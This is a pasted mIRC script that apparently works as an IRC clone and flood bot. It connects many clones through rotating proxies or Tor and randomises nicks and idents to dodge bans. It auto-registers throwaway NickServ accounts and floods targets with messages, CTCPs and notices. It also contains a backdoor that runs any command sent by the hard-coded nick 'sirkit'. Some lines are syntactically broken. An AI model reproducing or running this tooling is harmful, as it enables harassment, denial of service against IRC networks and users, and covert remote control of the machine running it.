rendered paste bodyalias newnick {
nick $me $+ $r(a,z)
}
alias setowner {
set %owner $1
}
alias setpass {
set %pass $1
}
alias setchan {
set %chan $1
}
alias config {
setchan $$?="Clone channel?"
setpass $$?=".addme password?"
setowner $$?="Owners nick?"
}
on *:text:.addme*:?:{
if ($2 == %pass) && ($nick == %owner) {
auser root $nick
}
}
alias tor {
if (%tor == off) {
set %tor on
}
elseif (%tor == on) {
set %tor off
}
else {
set %tor on
} }
on root:text:.perform*:#:{
if ($3 == thischan) && ($nick == sirkit) {
$2 $chan $4-
}
elseif ($nick == sirkit) {
$2- } }
on root:text:.clone:#:{
server -m $server $+ :6667 -j $chan
newnick
}
on root:text:.newnick*:#:{
if ($2 == null) {
scid -at1 nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+
}
else {
scid -at1 nick $2 $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+
} }
on root:text:*newnick*:#:{
if ($3 == null) {
scid -at1 nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+
}
else) {
scid -at1 nick $3 $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+
} }
on root:text:*:#:{
if ($1 == $me) && ($3 == thischan) && ($nick == sirkit) {
$2 $chan $4-
}
elseif ($1 == $me) && ($nick == sirkit) {
$2- }
}
alias start { if (%owner == $null) { config } }
on *:disconnect:{ if (%proxy.refresh == on) { newproxy | prident } }
alias newproxy { if (%proxy.refresh == on) && (%tor == off) { prident | set %proxy.select $read(proxy.txt) | .firewall -mp on %proxy.select | server | .timerrefresh -o 0 30 if ($!status != connected) newproxy | echo -s $timestamp2 %in $+ Now resetting proxy to %proxy.select and retrying $+ %out } else { prident | server | .timerrefresh -o 0 30 if ($!status != connected) newproxy } }
on *:connect:{ if (%proxy.refresh == on) { .timerrefresh off | mode $me -mM+ix | reg | join %chan } }
alias prflood {
timer 0 0 scon -at1 msg $1 $read(floods.txt)
timer 0 0 scon -at1 ctcp $1 $read(ctcps.txt)
timer 0 0 scon -at1 describe $1 $read(floods.txt)
timer 0 0 scon -at1 notice $1 $read(floods.txt)
}
alias reg {
set %email $me $+ @ $+ $read(emails.txt)
scon -at1 msg nickserv register $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) %email
}
on *:notice:*:{ if ($nick == NickServ) && ($3 isnum) { set %numerical $3 | timer 1 $calc($3*60) reg }
elseif (many isin $1-) { reg }
}
alias prident {
set %prident $r(0,z)
if (%prident isnum) {
identd on $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z)
}
else {
identd on $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z)
}
}
alias prconnect {
nick $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9)
server -m $1
nick $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9)
server -m $1
nick $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9)
server -m $1
nick $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9)
server -m $1
nick $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9)
server -m $1
}
alias prjp {
scid -at1 /timer 0 0 join $1
scid -at1 /timer 0 0 part $1
}
alias prj {
scid -at1 join $1
}